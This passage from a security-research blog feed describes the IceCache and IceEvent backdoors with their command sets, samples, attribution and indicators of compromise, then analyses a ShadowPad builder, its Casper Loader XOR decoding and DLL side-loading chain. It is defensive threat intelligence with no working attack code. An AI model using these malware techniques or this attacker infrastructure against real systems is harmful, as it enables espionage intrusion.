SOCKS_DISCONNECT Command to indicate disconnection with SOCKS protocol SOCKS_READ Command that directs reading of data in SOCKS protocol SOCKS_FORWARD Command to instruct data transfer via SOCKS protocol PROXY_ADD Command to add a proxy PROXY_LIST Command to list a proxy PROXY_DEL Command to del a proxy PROXY_CLEAR Command to clear all proxy settings FILE_UPLOAD / FILE_UPLOAD_PRO Upload Files FILE_DOWNLOAD / FILE_DOWNLOAD_PRO Download Files IIS_VERSION Show IIS version These are the IceCache modules found so far. The first sample we are aware of was compiled in August 2023 and submitted to VirusTotal in October. Since there is no discrepancy between the compille time and the first submission, we believe the dates are reliable. Many new samples have also been found since 2024. Most of the submitters are from India, which matches the victim information we have gathered from OpenDir data. The number of commands has change over time. It is show that the malware’s developers have made improvements while continuing their intrusion operations. sha256[:8] Compile Time First Submission Submitter Cmd Num X-Token TYPE 5b16d153 2024-07-17 09:11:14 2024-08-03 04:58:20 c8d0b2b9 (ID) 20 tn7rM2851XVvOFbc B 484e2740 2024-06-21 03:05:15 2024-08-07 09:25:53 39d4d6d2 - email 20 tn7rM2851XVvOFbc B 11e90e24 2024-06-05 03:52:48 2024-06-18 12:21:50 d9cb313c (ID) 20 tn7rM2851XVvOFbc B b8d030ed 2024-06-05 03:52:41 2024-06-18 10:47:18 408f1927 (ID) 20 tn7rM2851XVvOFbc B ceb47274 2024-04-25 09:53:26 2024-08-02 21:50:50 06ac9f47 (BR) 20 tn7rM2851XVvOFbc B d1955169 2024-04-21 11:29:25 2024-06-18 12:24:39 d9cb313c (ID) 18 tn7rM2851XVvOFbc B de8f58f0 2024-04-21 11:29:10 2024-06-18 10:49:53 408f1927 (ID) 18 tn7rM2851XVvOFbc B 53558af 2024-03-27 05:08:50 2024-04-19 07:57:19 c2440bbf (ID) 18 tn7rM2851XVvOFbc B 0b8b10a2 2024-03-27 05:08:57 2024-04-18 13:54:16 c2440bbf (ID) 18 tn7rM2851XVvOFbc B a66627cc 2024-02-20 09:36:12 2024-03-12 15:17:55 a6412166 (VN) 16 cbFOvVX1582Mr7nt A e5f520d9 2024-02-01 09:32:21 2024-07-17 09:30:54 24761b38 (SG) 24 cbFOvVX1582Mr7nt A 3eb56218 2023-12-07 03:04:16 2024-02-20 13:54:02 0f09a1ae (ID) 24 cbFOvVX1582Mr7nt A 5fd5e99f 2023-09-27 00:50:46 2024-03-24 08:59:02 Ca43fb0f (ID) 24 cbFOvVX1582Mr7nt A 0eb60e4c 2023-08-23 09:11:24 2023-10-18 10:11:00 0e8f2a34 (VN) 18 cbFOvVX1582Mr7nt A IceEvent IceEvent is a simple passive-mode backdoor that installed as a service. PDB Path C:\Users\power\Documents\Visual Studio 2017\Projects\WinService\x64\Release\WinService.pdb Two types have been identified based on the command format. Both types only have the minimum necessary commands. The older type was discovered in September 2023, and several new types were found in April of this year. All of these were submitted from India. TYPE-A Description FILE: Command to Reading files via sockets CMD: Command to the execution of a process TYPE-B Description UPFILE Upload Files DOWNFILE Download Files CMD Command to the execution of a process sha256[:8] Compile Time First Submission Submitter Cmd Num TYPE 80e83118 2024-04-25 09:50:58 2024-07-25 05:43:08 INDIA (99003aca) 3 B 9aba997b 2024-04-30 04:48:48 2024-06-14 05:46:49 INDIA (060734bd) 3 B 9a0b0439 2024-04-25 09:50:58 2024-06-14 05:00:08 INDIA (060734bd) 3 B bc94da1a 2023-08-23 08:52:46 2023-09-05 03:03:57 INDIA (81f8b666) 2 A Similarities We believe that IceEvent was developed because a simple passive backdoor was needed during intrusions, based on code similarities with IceCache. Both IceCache and IceEvent use the same key for XOR to encode communication data. And PDB information shows that the same developer created both malware. This is the XOR-based data encoding process used for communication data, which is equal to both malware. This is the command execution process equal to both malware. Since the function calls and branching processes are exactly the same, we believe they were compiled from the same source code. Other commands also match perfectly. The communication data of IceCache and IceEvent is only encoded using the XOR process mentioned earlier, making it easy to decode. Here is an example of decoding the data during command execution. Attribution We investigated the attacker’s activity times based on the timestamp information in the zsh_history file. As a result, we found that the attacker is likely operating in the UTC+8 time zone. Surprisingly, the attacker works from 8 a.m. to 10 p.m., which is a 14-hour workday. They are remarkably diligent workers. Similarly, we investigated the changes in activity based on the day of the week. It seems that the attackers work six days a week. While they are less active on Fridays and Saturdays, their only full day off appears to be Sunday. This investigation suggests that the attackers are not conducting these attacks as personal activities, but are instead engaging in them as part of organized, professional operations. By the way, have you heard of the term “996 working hour system”? This term originated in China’s IT industry. In China’s IT industry, long working hours see as a problem. It refers to working from 9 a.m. to 9 p.m.,six days a week. Such hard work conditions are called the “996 working hour system”. IcePeony might be working under the 996 working hour system. https://en.wikipedia.org/wiki/996_working_hour_system Next, There is a very simple example to consider when discussing attribution. IcePeony sometimes includes Simplified Chinese comments in the tools they use. Here, we provide an example of a wrapper script for the IceCache Client. From this, we can conclude that IcePeony is a threat actor from a region where Simplified Chinese is commonly used. IcePeony uses an original malware called IceCache. As previously mentioned, IceCache is based on reGeorge. More specifically, IceCache contains a string referring to a project named reGeorgGo. Upon investigating reGeorgGo, We found that it was developed by a Chinese security engineer. There is no other information about this project on the internet, aside from the developer’s blog. It was a not well-known tool. However, the publicly available reGeorgGo is a tool with only three arguments, where as IceCache has more commands added to it. https://github.com/zz1gg/secdemo/tree/main/proxy/reGeorgGo Let’s examine attribution from another side. In this attack campaign, IcePeony targeted India, Mauritius, and Vietnam. While attacks on India and Vietnam are generally not uncommon. What about Mauritius? Mauritius is a small country located in the Indian Ocean. Interestingly, Mauritius has recently formed a cooperation with India. They are wary of China’s expansion into the Indian Ocean and have begun various forms of collaboration to counter this influence. https://www.mea.gov.in/newsdetail1.htm?12042/ We summarize the attribution information using the Diamond Model. IcePeony consists of Simplified Chinese speakers who show interest in the governments of Indian Ocean countries and work under the 996 working hour system. They prefer open-source software developed in Chinese-speaking regions and use their original malware, IceCache and IceEvent. In attacks on the Indian government, they used VPSs located in the Indian region. Additionally, the governments and education sectors in Mauritius and Vietnam were also targeted. Wrap-Up In this blog post, we introduced IcePeony. IcePeony is a newly emerging attack group. Our investigation shows that they have been active since at least 2023. Their primary targets are countries in Asia, such as India and Vietnam. The log files we analyzed recorded attempts to attack over 200 different Indian government websites. IcePeony typically attempts SQL Injection attacks on publicly accessible web servers. If vulnerabilities are found, they install web shells or execute malware. Ultimately, they aim to steal credentials. We suspect that IcePeony operates as a group of individuals conducting cyberattacks in support of China’s national interests, possibly in connection with China’s maritime strategy. They remain active, and we must continue monitoring their activities closely moving forward. IoCs IP 165[.]22.211.62 64[.]227.133.248 173[.]208.156.19 173[.]208.156.144 154[.]213.17.225 103[.]150.186.219 63[.]141.255.16 204[.]12.205.10 107[.]148.37.63 103[.]99.60.119 154[.]213.17.237 45[.]195.205.88 154[.]213.17.244 103[.]99.60.93 149[.]115.231.17 149[.]115.231.39 103[.]99.60.108 Domain d45qomwkl[.]online k9ccin[.]com k8ccyn[.]com 88k8cc[.]com googlesvn[.]com IceCache 484e274077ab6f9354bf71164a8edee4dc4672fcfbf05355958785824fe0468f 5b16d1533754c9e625340c4fc2c1f76b11f37eb801166ccfb96d2aa02875a811 ceb47274f4b6293df8904c917f423c2f07f1f31416b79f3b42b6d64e65dcfe1b e5f520d95cbad6ac38eb6badbe0ad225f133e0e410af4e6df5a36b06813e451b d1955169cd8195ecedfb85a3234e4e6b191f596e493904ebca5f44e176f3f950 11e90e2458a97957064a3d3f508fa6dadae19f632b45ff9523b7def50ebacb63 de8f58f008ddaa60b5cf1b729ca03f276d2267e0a80b584f2f0723e0fac9f76c b8d030ed55bfb6bc4fdc9fe34349ef502561519a79166344194052f165d69681 535586af127e85c5561199a9a1a3254d554a6cb97200ee139c5ce23e68a932bd 0b8b10a2ff68cb2aa3451eedac4a8af4bd147ef9ddc6eb84fc5b01a65fca68fd 5fd5e99fc503831b71f4072a335f662d1188d7bc8ca2340706344fb974c7fe46 3eb56218a80582a79f8f4959b8360ada1b5e471d723812423e9d68354b6e008c a66627cc13f827064b7fcea643ab31b34a7cea444d85acc4e146d9f2b2851cf6 0eb60e4c5dc7b06b719e9dbd880eb5b7514272dc0d11e4760354f8bb44841f77 IceEvent 80e831180237b819e14c36e4af70304bc66744d26726310e3c0dd95f1740ee58 9a0b0439e6fd2403f764acf0527f2365a4b9a98e9643cd5d03ccccf3825a732e 9aba997bbf2f38f68ad8cc3474ef68eedd0b99e8f7ce39045f1d770e2af24fea bc94da1a066cbb9bdee7a03145609d0f9202b426a52aca19cc8d145b4175603b]]></summary></entry><entry><title type="html">Building Casper’s Shadow</title><link href="http://nao-sec.org/2024/06/building-caspers-shadow.html" rel="alternate" type="text/html" title="Building Casper’s Shadow" /><published>2024-06-30T15:00:00+00:00</published><updated>2024-06-30T15:00:00+00:00</updated><id>http://nao-sec.org/2024/06/building-caspers-shadow</id><content type="html" xml:base="http://nao-sec.org/2024/06/building-caspers-shadow.html"><![CDATA[<p><img src="https://nao-sec.org/assets/2024-07-01/top.png" alt="" /></p>

<h2 id="introduction">Introduction</h2>
<p>A few days ago, we came across a peculiar file. It looked like some kind of builder, and a quick glance at the settings piqued our interest. It appeared to be a ShadowPad builder, probably created around 2021.</p>

<p>ShadowPad builders became a topic of conversation around the time of the i-Soon leak, but we had never seen the actual builder ourselves. This is likely true for most of you as well.</p>

<p>We were so intrigued that we carefully investigated this builder and reviewed past attack campaigns. In this article, we will share how attackers build ShadowPad, what we discovered through our investigation, and our insights.</p>

<p>Our investigation is still ongoing. We would love to engage in active discussions with you. If you have any opinions or comments, please feel free to contact us.</p>

<p>[Note] What we discovered this time is a builder. It does not include a controller. Therefore, it is not possible to control what is generated by this builder. In other words, this builder alone is not meaningful in the real world.</p>

<h2 id="background">Background</h2>
<p>In June 2024, we happened to read a research memo from a year ago. We often read past memos for a change of pace. In doing so, we recalled an attack on Kyrgyzstan in April 2023.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/1.png" alt="" /></p>

<p><a href="https://x.com/nao_sec/status/1648960199938707456">https://x.com/nao_sec/status/1648960199938707456</a></p>

<p>This attack involved a file resembling a RoyalRoad RTF, which prompted our investigation at the time. Opening this RTF file with a vulnerable version of Microsoft Word displayed a decoy file related to Kyrgyzstan’s cybersecurity, while simultaneously writing and executing several files to the disk. As a result, a CobaltStrike beacon was executed.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/2.png" alt="" /></p>

<p>The loader that decrypted and executed the beacon resembled Casper Loader. Casper Loader is familiar to threat researchers specializing in East Asia and has been reported to be used in attacks by Tick<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup><sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. Our friend @aRtAGGI conducted similar analyses at the time.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/3.png" alt="" /></p>

<p><a href="https://x.com/aRtAGGI/status/1649184131090087938">https://x.com/aRtAGGI/status/1649184131090087938</a></p>

<p>We later found that a similar attack had been carried out against Kazakhstan after searching our past database. The attack on Kazakhstan was older than the one on Kyrgyzstan, occurring around November 2022. In this case, the same loader executed from the RTF file eventually ran the CobaltStrike beacon.</p>

<p>Information about the RTF files used in the attacks on Kyrgyzstan and Kazakhstan is listed in the IoC sheet from our previous research on RoyalRoad RTF<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup><sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup>. We have identified these as <code class="language-plaintext highlighter-rouge">U-4</code>. If you are interested, please refer to the IoC sheet.</p>

<p><a href="https://nao-sec.org/jsac2020_ioc.html">https://nao-sec.org/jsac2020_ioc.html</a></p>

<p>Let’s return to the present. To investigate recent attack samples, we executed a search query based on the characteristics of the loader used in the attack on Kyrgyzstan.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exports:IEE2 exports:LoadLibraryShim2 exports:LoadStringRC2
</code></pre></div></div>

<p>We found an unusual file posted in May 2024. This data was embedded in the resource section of another file. We downloaded and executed the original file. To our surprise, it was a ShadowPad builder.</p>

<h2 id="caspervmakerhttpx86">CasperVMakerHTTPx86</h2>

<table>
  <tbody>
    <tr>
      <td>MD5</td>
      <td>eb99580e0d90ee61b3e2e3bd8715c633</td>
    </tr>
    <tr>
      <td>SHA-1</td>
      <td>706482eda6d747ca2688cdfd97399f800da9e73c</td>
    </tr>
    <tr>
      <td>SHA-256</td>
      <td>b6d7c456423c871c7ffe418069a75c39055e4e3d023021c8b0885a02c7ce93c6</td>
    </tr>
  </tbody>
</table>

<p><img src="https://nao-sec.org/assets/2024-07-01/5.png" alt="" /></p>

<p>When launching the ShadowPad builder, which calls itself CasperVMakerHTTPx86, the following screen appears. There are several tabs, each with various settings.</p>

<ul>
  <li>First</li>
  <li>Install</li>
  <li>Inject</li>
  <li>Online</li>
  <li>Proxy</li>
  <li>DNS</li>
</ul>

<p>These items are very similar to the reported architecture of ShadowPad<sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>. This suggests that these tabs are configuration items for each module. The settings for each item are as follows:</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/6.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2024-07-01/7.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2024-07-01/8.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2024-07-01/9.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2024-07-01/10.png" alt="" /></p>

<p>Let’s try building ShadowPad. By clicking the “Build EXE x86” button, ShadowPad is generated. If the build is successful, an EXE file and a DLL file are created.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/11.png" alt="" /></p>

<p>The EXE file is a legitimate AppLaunch. It loads the mscoree.dll in the same directory via DLL Side-Loading. The DLL file is the Casper Loader, which decodes and executes the ShadowPad shellcode stored internally.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/12.png" alt="" /></p>

<h2 id="comparison-with-similar-samples">Comparison with Similar Samples</h2>
<p>ShadowPad loaders exhibit several patterns, but those generated using this builder are decoded using a custom XOR with constants.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/13.png" alt="" /></p>

<p>There are many samples with similar characteristics, but we will introduce two of them.</p>

<h3 id="sample-1">Sample-1</h3>
<p>According to Macnica’s report<sup id="fnref:2:1" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>, Tick uses Casper Loader to execute ShadowPad. Comparing this Casper Loader with the loader created using the builder reveals that while the Macnica sample contains junk code and different fixed values, the algorithm is the same.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/14.png" alt="" /></p>

<h3 id="sample-2">Sample-2</h3>
<p>A report released by the FBI in December 2021<sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup> reported an attack exploiting CVE-2021-44515 where ShadowPad was used. The AppLaunch.exe and mscoree.dll in this case used Casper Loader to execute ShadowPad.</p>

<p>Comparing this Casper Loader with the one created using the builder shows that the algorithm and fixed values are identical. Although API Hashing is not used, it is a highly similar sample.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/15.png" alt="" /></p>

<h2 id="shadowpad-community">ShadowPad Community</h2>
<p>As you know, ShadowPad is commercial software sold for profit. According to SentinelOne’s report from 2021<sup id="fnref:5:1" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>, ShadowPad is sold to various targeted attack groups, and there is speculation that whg and Rose are involved in its development. The i-Soon leak in February 2024 reported that i-Soon was selling software that appeared to be ShadowPad (including source code and training)<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">7</a></sup>.</p>

<p>As various researchers have reported<sup id="fnref:2:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup><sup id="fnref:5:2" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup><sup id="fnref:6:1" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup><sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">8</a></sup><sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">9</a></sup><sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">10</a></sup><sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">11</a></sup><sup id="fnref:12" role="doc-noteref"><a href="#fn:12" class="footnote" rel="footnote">12</a></sup><sup id="fnref:13" role="doc-noteref"><a href="#fn:13" class="footnote" rel="footnote">13</a></sup><sup id="fnref:14" role="doc-noteref"><a href="#fn:14" class="footnote" rel="footnote">14</a></sup><sup id="fnref:15" role="doc-noteref"><a href="#fn:15" class="footnote" rel="footnote">15</a></sup><sup id="fnref:16" role="doc-noteref"><a href="#fn:16" class="footnote" rel="footnote">16</a></sup><sup id="fnref:17" role="doc-noteref"><a href="#fn:17" class="footnote" rel="footnote">17</a></sup><sup id="fnref:18" role="doc-noteref"><a href="#fn:18" class="footnote" rel="footnote">18</a></sup><sup id="fnref:19" role="doc-noteref"><a href="#fn:19" class="footnote" rel="footnote">19</a></sup><sup id="fnref:20" role="doc-noteref"><a href="#fn:20" class="footnote" rel="footnote">20</a></sup><sup id="fnref:21" role="doc-noteref"><a href="#fn:21" class="footnote" rel="footnote">21</a></sup><sup id="fnref:22" role="doc-noteref"><a href="#fn:22" class="footnote" rel="footnote">22</a></sup><sup id="fnref:23" role="doc-noteref"><a href="#fn:23" class="footnote" rel="footnote">23</a></sup><sup id="fnref:24" role="doc-noteref"><a href="#fn:24" class="footnote" rel="footnote">24</a></sup><sup id="fnref:25" role="doc-noteref"><a href="#fn:25" class="footnote" rel="footnote">25</a></sup><sup id="fnref:26" role="doc-noteref"><a href="#fn:26" class="footnote" rel="footnote">26</a></sup><sup id="fnref:27" role="doc-noteref"><a href="#fn:27" class="footnote" rel="footnote">27</a></sup><sup id="fnref:28" role="doc-noteref"><a href="#fn:28" class="footnote" rel="footnote">28</a></sup><sup id="fnref:29" role="doc-noteref"><a href="#fn:29" class="footnote" rel="footnote">29</a></sup><sup id="fnref:30" role="doc-noteref"><a href="#fn:30" class="footnote" rel="footnote">30</a></sup><sup id="fnref:31" role="doc-noteref"><a href="#fn:31" class="footnote" rel="footnote">31</a></sup><sup id="fnref:32" role="doc-noteref"><a href="#fn:32" class="footnote" rel="footnote">32</a></sup><sup id="fnref:33" role="doc-noteref"><a href="#fn:33" class="footnote" rel="footnote">33</a></sup><sup id="fnref:34" role="doc-noteref"><a href="#fn:34" class="footnote" rel="footnote">34</a></sup><sup id="fnref:35" role="doc-noteref"><a href="#fn:35" class="footnote" rel="footnote">35</a></sup><sup id="fnref:36" role="doc-noteref"><a href="#fn:36" class="footnote" rel="footnote">36</a></sup><sup id="fnref:37" role="doc-noteref"><a href="#fn:37" class="footnote" rel="footnote">37</a></sup><sup id="fnref:38" role="doc-noteref"><a href="#fn:38" class="footnote" rel="footnote">38</a></sup>, many targeted attack groups use ShadowPad. These can be broadly categorized into two groups: attack groups associated with the MSS, like APT41, and those associated with the PLA, like Tick.</p>

<p>As previously mentioned, it is generally believed that whg and Rose were involved in ShadowPad’s development. There is no compelling reason to refute this, so we will proceed with this assumption. According to a U.S. government report related to APT41<sup id="fnref:39" role="doc-noteref"><a href="#fn:39" class="footnote" rel="footnote">39</a></sup>, Rose (Tan Dailin) was involved in APT41. Seven individuals were indicted for their involvement with APT41, with Rose (and Zhang Haoran) being particularly noted for their involvement in both BARIUM and LEAD, making them key figures in APT41’s activities. This background suggests that BARIUM was the earliest adopter of ShadowPad, followed by LEAD.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/16.png" alt="" /></p>

<p>In contrast, the PLA has many more attack groups using ShadowPad than the MSS. This is generally because many researchers have given them different names, and their relationships are not sufficiently organized. If you are a researcher, you probably have more organized information in your mind (or within your organization). Of course, we understand and accept this. However, to keep things simple, we will exclude such discussions in this article and share how we organized this information within nao_sec. Interestingly, all these attack groups used the RoyalRoad RTF Weaponizer. Is this just a coincidence? ShadowPad and RoyalRoad RTF Weaponizer may be shared through the same channels.</p>

<p><img src="https://nao-sec.org/assets/2024-07-01/17.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>
<p>In this article, we introduced the ShadowPad builder. ShadowPad, widely used by various targeted attack groups as a successor to PlugX, had limited information available about its builder until now. This article sheds light on how attackers build ShadowPad.</p>

<p>We also organized the relationships between attack groups using ShadowPad. Our research is still ongoing. We would love to engage in active discussions. If you have any opinions or comments, please contact us. We look forward to hearing from you.</p>

<h2 id="acknowledgments">Acknowledgments</h2>
<p>We received a lot of help from our friends in writing this article. While we won’t name individuals here, we are immensely grateful to the many supportive reviewers. We want to take this opportunity to express our deepest gratitude to you.</p>

<h2 id="references">References</h2>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>TrendMicro, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”, https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>マクニカ, “標的型攻撃の実態と対策アプローチ 第5版 日本を狙うサイバーエスピオナージの動向 2020年度”, https://www.macnica.co.jp/business/security/manufacturers/files/mpressioncss_ta_report_2020_5.pdf <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:2:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a> <a href="#fnref:2:2" class="reversefootnote" role="doc-backlink">&#8617;<sup>3</sup></a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>nao_sec, “An Overhead View of the Royal Road”, https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p>nao_sec, “Royal Road! Re:Dive”, https://nao-sec.org/2021/01/royal-road-redive.html <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p>SentinelOne, “ShadowPad A Masterpiece of Privately Sold Malware in Chinese Espionage”, https://www.sentinelone.com/labs/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/ <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:5:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a> <a href="#fnref:5:2" class="reversefootnote" role="doc-backlink">&#8617;<sup>3</sup></a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p>FBI, “APT Actors Exploiting Newly-Identified Zero Day in ManageEngine Desktop Central”, https://www.ic3.gov/Media/News/2021/211220.pdf <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:6:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:7" role="doc-endnote">
      <p>HarfangLab, “A comprehensive analysis of I-Soon’s commercial offering”, https://harfanglab.io/en/insidethelab/isoon-leak-analysis/ <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8" role="doc-endnote">
      <p>Kaspersky, “ShadowPad in corporate networks”, https://securelist.com/shadowpad-in-corporate-networks/81432/ <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:9" role="doc-endnote">
      <p>Kaspersky, “Operation ShadowHammer”, https://securelist.com/operation-shadowhammer/89992/ <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p>ESET, “Connecting the dots: Exposing the arsenal and methods of the Winnti Group”, https://www.welivesecurity.com/2019/10/14/connecting-dots-exposing-arsenal-methods-winnti/ <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11" role="doc-endnote">
      <p>ESET, “Winnti Group targeting universities in Hong Kong”, https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/ <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:12" role="doc-endnote">
      <p>マクニカ, “標的型攻撃の実態と対策アプローチ 第4版 日本を狙うサイバーエスピオナージの動向 2019年度下期”, https://www.macnica.co.jp/business/security/manufacturers/files/mpressioncss_ta_report_2019_4.pdf <a href="#fnref:12" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:13" role="doc-endnote">
      <p>PwC, “Around the world in 80 days 4.2bn packets”, https://www.youtube.com/watch?v=YCwyc6SctYs <a href="#fnref:13" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:14" role="doc-endnote">
      <p>CrowdStrike, “Manufacturing Industry in the Adversaries’ Crosshairs”, https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/ <a href="#fnref:14" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:15" role="doc-endnote">
      <p>Kaspersky, “APT trends report Q2 2020”, https://securelist.com/apt-trends-report-q2-2020/97937/ <a href="#fnref:15" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:16" role="doc-endnote">
      <p>Positive Technologies, “ShadowPad: new activity from the Winnti group”, https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf <a href="#fnref:16" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:17" role="doc-endnote">
      <p>Symantec, “APT41: Indictments Put Chinese Espionage Group in the Spotlight”, https://symantec-enterprise-blogs.security.com/threat-intelligence/apt41-indictments-china-espionage <a href="#fnref:17" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:18" role="doc-endnote">
      <p>Dr.Web, “Study of the ShadowPad APT backdoor and its relation to PlugX”, https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf <a href="#fnref:18" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:19" role="doc-endnote">
      <p>TrendMicro, “Earth Akhlut: Exploring the Tools, Tactics, and Procedures of an Advanced Threat Actor Operating a Large Infrastructure”, https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf <a href="#fnref:19" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:20" role="doc-endnote">
      <p>ESET, “Operation StealthyTrident: corporate software under attack”, https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ <a href="#fnref:20" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:21" role="doc-endnote">
      <p>Positive Technologies, “Higaisa or Winnti? APT41 backdoors, old and new”, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/ <a href="#fnref:21" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:22" role="doc-endnote">
      <p>Recorded Future, “China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions”, https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf <a href="#fnref:22" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:23" role="doc-endnote">
      <p>Recorded Future, “Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling”, https://www.recordedfuture.com/blog/chinese-group-tag-22-targets-nepal-philippines-taiwan <a href="#fnref:23" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:24" role="doc-endnote">
      <p>TrendMicro, “Delving Deep: An Analysis of Earth Lusca’s Operations”, https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf <a href="#fnref:24" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:25" role="doc-endnote">
      <p>Secureworks, “ShadowPad Malware Analysis”, https://www.secureworks.com/research/shadowpad-malware-analysis <a href="#fnref:25" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:26" role="doc-endnote">
      <p>Recorded Future, “Continued Targeting of Indian Power Grid Assets by Chinese State-Sponsored Activity Group”, https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf <a href="#fnref:26" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:27" role="doc-endnote">
      <p>SentinelOne, “Moshen Dragon’s Triad-and-Error Approach Abusing Security Software to Sideload PlugX and ShadowPad”, https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/ <a href="#fnref:27" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:28" role="doc-endnote">
      <p>TeamT5, “The Next Gen PlugX - ShadowPad - A Dive into the Emerging China-Nexus Modular Trojan, Pangolin8RAT”, https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf <a href="#fnref:28" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:29" role="doc-endnote">
